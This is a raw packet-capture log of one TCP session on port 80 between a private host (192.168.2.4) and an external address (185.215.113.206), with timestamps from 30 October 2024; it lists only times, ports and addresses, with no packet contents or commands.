Oct 30, 2024 06:16:10.761176109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761179924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761188030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761193037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761204004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761209011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761250973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761837959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761848927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761859894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761871099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.761878014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.761900902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.800976992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.800991058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.801001072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.801007032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.801047087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.801080942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838372946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838399887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838409901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838421106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838447094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838490963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838493109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838529110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838541031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838578939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838609934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838620901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838661909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838778019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838787079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838826895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838862896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838875055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838885069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.838906050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.838933945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.839021921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.839030981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.839071035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.877578020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877595901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877608061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877618074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877620935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.877629042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877650976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.877660990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877671957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877682924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877686977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.877706051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.877726078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.877883911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877896070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877906084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.877928019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.877949953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878061056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878077030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878098965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878119946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878146887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878158092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878170013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878180027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878186941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878212929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878236055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878247023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878257036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878279924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878298044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878321886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878333092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878343105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878354073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878361940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878365993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.878370047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878385067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.878416061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.879097939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.879134893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.879146099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.879152060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.879158020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.879178047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.879189968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.879208088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.918474913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.918488979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.918499947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.918524027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.918571949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.956144094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956163883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956176043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956193924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.956202984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956216097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956228018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956237078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.956243038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956255913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956267118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.956290960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.956435919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956445932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956464052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956473112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.956485987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.956501961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.994971991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.994988918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995044947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995063066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995076895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995089054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995100021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995105982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995111942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995136023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995150089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995196104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995232105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995237112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995274067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995284081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995325089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995389938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995402098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995413065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995430946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995449066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995592117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995604038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995615005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995626926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995639086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995668888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995887995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995898962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995912075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995927095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995929003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995942116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.995964050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.995989084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996210098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996256113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996258974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996268988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996282101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996294022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996301889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996325016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996593952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996606112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996617079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996629000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996642113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996642113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996654034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996664047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996669054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996678114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996681929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996695042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:10.996701002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:10.996737003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.035991907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.036029100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.036039114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.036098957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.036127090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.073581934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073601961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073613882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073626041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073638916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073649883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073648930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.073662996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073668003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.073715925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.073818922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073858976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.073875904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073899031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073919058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.073932886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.073955059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073966980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.073997021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.112574100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112611055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112622976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112632990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112646103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112649918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.112679005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112690926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112704992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.112725973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.112744093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112785101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.112869978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112888098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112899065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112910986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.112921953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.112921953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.112948895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113106966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113147020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113161087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113164902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113178968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113189936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113205910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113205910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113224030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113230944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113528967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113539934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113549948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113563061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113579035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113607883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113750935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113761902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113774061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113785028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.113800049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.113831043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.114017010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114027977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114037991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114057064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.114063025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114073992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114084005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114087105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.114097118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114121914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.114124060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114135981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114145041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.114164114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.114207029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.153433084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.153444052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.153455019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.153465986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.153506994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.153546095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191348076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191376925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191386938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191435099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191473961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191483021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191493034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191526890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191559076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191570997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191603899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191629887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191632032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191644907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191657066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191668987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.191672087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191694021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.191721916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230145931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230211020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230231047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230266094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230277061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230288029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230290890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230300903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230307102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230312109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230318069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230329037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230356932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230370998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230528116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230566025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230576992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230614901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230633020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230694056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230709076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230720997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.230734110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230767965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.230968952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231014967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231019974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231026888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231043100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231054068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231060982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231065989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231075048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231112957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231375933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231386900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231401920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231426954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231447935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231448889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231461048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231471062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231482983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231487989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231494904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231499910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231530905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231535912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231547117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231556892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231569052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231579065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.231585026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231595993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.231622934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.232307911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.232320070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.232330084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.232383966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.232414961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.270982981 CET	80	49730	185.215.113.206	192.168.2.4
